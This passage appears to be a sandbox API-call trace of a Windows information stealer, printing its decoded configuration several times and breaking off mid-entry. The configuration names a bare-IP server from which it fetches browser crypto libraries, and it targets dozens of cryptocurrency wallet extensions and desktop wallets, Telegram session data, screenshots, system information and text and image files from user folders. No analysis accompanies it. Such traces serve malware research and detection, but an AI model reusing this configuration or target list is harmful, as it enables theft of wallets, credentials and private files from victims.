Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.266] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.266] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.267] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.267] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.267] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.267] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.267] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension 